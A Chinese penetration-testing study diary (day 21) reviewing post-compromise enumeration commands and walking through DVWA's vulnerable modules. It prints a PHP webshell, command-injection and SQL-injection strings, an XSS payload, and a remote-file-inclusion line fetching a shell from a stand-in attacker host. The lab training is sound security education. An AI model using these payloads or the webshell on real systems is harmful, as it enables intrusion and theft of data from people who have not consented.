自学渗透测试第21天(基础命令复盘与DVWA熟悉)

第8章 基础巩固与编码加密(第21--22天)

8.1 基础命令复盘与DVWA熟悉(第21天)

核心目标
  1. 系统性复盘核心命令:通过场景化任务,巩固Linux/Windows系统、网络、文本处理、信息收集等核心命令的肌肉记忆。

  2. 深度熟悉DVWA平台:遍历DVWA(安全级别设为Low)的每一个漏洞模块,理解其功能、漏洞点及基础的攻击演示,建立对各类Web漏洞的直观认识。

  3. 建立"问题-工具-命令"映射:面对一个简单的渗透测试子任务,能快速联想到需要使用的工具和具体命令。

模块一:核心命令场景化复盘
1.1 系统与文件操作
  • 场景任务:你获得了一个Linux靶机的初步Shell,需要进行初步信息收集。

  • 核心命令回顾

    复制代码
    # 1. 系统与用户信息
    whoami                     # 当前用户
    id                         # 用户详细信息
    hostname                   # 主机名
    cat /etc/passwd            # 用户列表
    cat /etc/group             # 组列表
    sudo -l                    # 检查sudo权限
    # 2. 文件系统探索
    pwd                        # 当前目录
    ls -la                     # 详细列表
    find / -type f -perm -4000 2>/dev/null  # 查找SUID文件
    find / -writable 2>/dev/null | grep -v "/proc/"  # 查找可写文件/目录
    # 3. 进程与网络
    ps aux                     # 查看所有进程
    netstat -tulnp 或 ss -tulnp  # 查看监听端口
1.2 网络诊断与信息收集
  • 场景任务 :对目标target.com进行外围信息收集。

  • 核心命令回顾

    复制代码
    # 1. 基础网络诊断
    ping -c 4 target.com
    traceroute target.com
    nslookup target.com
    dig target.com ANY
    # 2. 端口与服务发现
    nmap -sS -sV -O -p- target.com
    # 3. Web信息收集
    whatweb http://target.com
    gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
    nikto -h http://target.com
1.3 文本处理与日志分析
  • 场景任务 :分析Apache访问日志access.log,找出可疑请求。

  • 核心命令回顾

    复制代码
    # 1. 过滤与统计
    grep "sql_injection" access.log
    awk '{print $1}' access.log | sort | uniq -c | sort -nr  # 统计IP访问量
    #注:|sort|:将相同的IP聚集在一起,方便uniq -c IP访问量的统计。;sort -nr :对统计到的数据进行降序排序出来。
    awk '{print $9}' access.log | sort | uniq -c  # 统计HTTP状态码
    # 2. 实时监控
    tail -f /var/log/apache2/access.log | grep --line-buffered "union.*select"
    #注: --line-buffered :作用是关键的性能优化和保证数据传输的实时性。-f:表示的是对数据进行实时监控。
    #上述命令的作用是:实时从监控的日志中查找union.*select 。
1.4 Windows环境
  • 场景任务:在已获取权限的Windows主机上收集信息。

  • 核心命令回顾

    复制代码
    systeminfo
    #查看系统的相信信息
    whoami /priv
    #查看当前用户的权限范围
    net user
    #查看所有的系统用户
    net localgroup administrators
    #列出本地管理员组的成员(权限评估,寻找横向移动对象)
    netstat -ano
    #显示所有的活动连接与对应的pid(后门检测,端口占用排查)n:表示的是使用数字来显示地址和端口;o:显示每个进程对应的PID.
    tasklist
    #列出所有运行中的进程(定位恶意进程,PID关联分析)
模块二:DVWA漏洞模块全览与初步实践

前提 :将DVWA安全级别设置为 Low

2.1 Brute Force(暴力破解)
  • 漏洞点:登录表单无防暴破机制。

  • 实践:使用Burp Suite Intruder,对密码参数进行字典攻击。

2.2 Command Injection(命令注入)
  • 漏洞点:用户输入直接拼接到系统命令中执行。

  • 实践 :输入127.0.0.1 && whoami,验证命令执行。

2.3 CSRF(跨站请求伪造)
  • 漏洞点:修改密码请求无需验证令牌。

  • 实践:构造一个恶意HTML页面,诱使已登录用户访问,实现密码被修改。

2.4 File Inclusion(文件包含)
  • 漏洞点:通过参数动态包含文件,未限制路径。

  • 实践

    • LFI../../../../etc/passwd

    • RFIhttp://attacker.com/shell.txt(需配置允许)

2.5 File Upload(文件上传)
  • 漏洞点:未对上传文件的类型、内容做有效检查。

  • 实践 :上传一个PHP webshell(如<?php system($_GET['c']);?>),并访问执行命令。

2.6 Insecure CAPTCHA(不安全的验证码)
  • 漏洞点:验证码验证逻辑可在客户端绕过。

  • 实践:修改表单提交参数,绕过验证码步骤。

2.7 SQL Injection(SQL注入)
  • 漏洞点:用户输入直接拼接到SQL查询。

  • 实践 :输入1' OR '1'='1,获取所有用户信息。

2.8 SQL Injection (Blind)(SQL盲注)
  • 漏洞点:SQL注入漏洞存在,但无错误回显,需通过布尔或时间差异判断。

  • 实践 :输入1' AND SLEEP(5)#,观察响应延时。

2.9 XSS(跨站脚本)
  • 漏洞点:用户输入未过滤直接输出到页面。

  • 实践

    • Reflected :在输入框提交<script>alert('XSS')</script>

    • Stored:在留言板提交上述脚本,查看持久化效果。

模块三:当日达标实战任务
3.1 命令复盘挑战

在不查看任何笔记的情况下,完成以下任务序列,并记录所用命令:

  1. 在Kali中 :查找/usr/share目录下所有大小超过10MB的.txt文件。

  2. 在Kali中 :统计/var/log/auth.log中"Failed password"事件出现的总次数。

  3. 在Kali中:对同一网络中的Metasploitable2靶机进行快速存活检测,并扫描其1-1000号端口。

  4. 在Windows靶机中(如有):获取系统安装的所有补丁列表。

3.2 DVWA模块遍历

将DVWA安全级别设置为Low,依次完成以下操作,并截图记录结果:

  1. Brute Force模块,使用Burp Suite Intruder,尝试用5个常见密码(如password, 123456, admin, letmein, qwerty)爆破admin账户。

  2. Command Injection模块,执行命令127.0.0.1 && cat /etc/passwd,查看系统用户列表。

  3. File Upload模块,上传一个一句话PHP Webshell,并通过浏览器访问该Shell,执行id命令。

  4. SQL Injection模块,通过手工注入,获取数据库版本信息。

3.3 攻击链简单串联

模拟一个简单场景:你通过File Upload漏洞上传了Webshell,获得了命令执行能力。请写出通过此Webshell,在目标服务器上完成的后续信息收集步骤(至少5条命令)。

模块四:常见问题与解决方案
4.1 命令遗忘
  • 策略 :善用man命令、--help参数以及apropos命令。建立自己的命令速查笔记(CherryTree等)。

  • 核心 :理解命令的功能(做什么),而非死记硬背选项。例如,查找文件用find,分析文本用grep/awk/sed,查看网络用netstat/ss

4.2 DVWA访问或配置问题
  • 无法登录/数据库连接错误 :检查DVWA的config/config.inc.php文件数据库配置,确认MySQL服务已启动,并使用setup.php页面重置数据库。

  • 文件上传失败 :检查php.inifile_uploads是否为On,以及上传目录权限。


明日预告 :第22天将深入编码、哈希与加密 的世界,学习Base64、Hex、常见哈希算法(MD5, SHA1)的原理,并掌握Kali中hash-identifierhashcatjohn等强大工具的使用,为密码破解和数据分析打下基础。

相关推荐
不爱吃炸鸡柳2 小时前
数据结构精讲:树 → 二叉树 → 堆 从入门到实战
开发语言·数据结构
菩提小狗2 小时前
每日安全情报报告 · 2026-04-22
网络安全·漏洞·cve·安全情报·每日安全
t***5442 小时前
如何在Dev-C++中使用Clang编译器
开发语言·c++
码界筑梦坊2 小时前
93-基于Python的中药药材数据可视化分析系统
开发语言·python·信息可视化
爱学习的小囧2 小时前
ESXi VMkernel 端口 MTU 最佳设置详解
运维·服务器·网络·php·虚拟化
Cosmoshhhyyy3 小时前
《Effective Java》解读第49条:检查参数的有效性
java·开发语言
棋子入局3 小时前
C语言制作消消乐游戏(2)
c语言·开发语言·游戏
布谷歌3 小时前
常见的OOM错误 ( OutOfMemoryError全类型详解)
java·开发语言
WangJunXiang63 小时前
GFS分布式文件系统
开发语言·php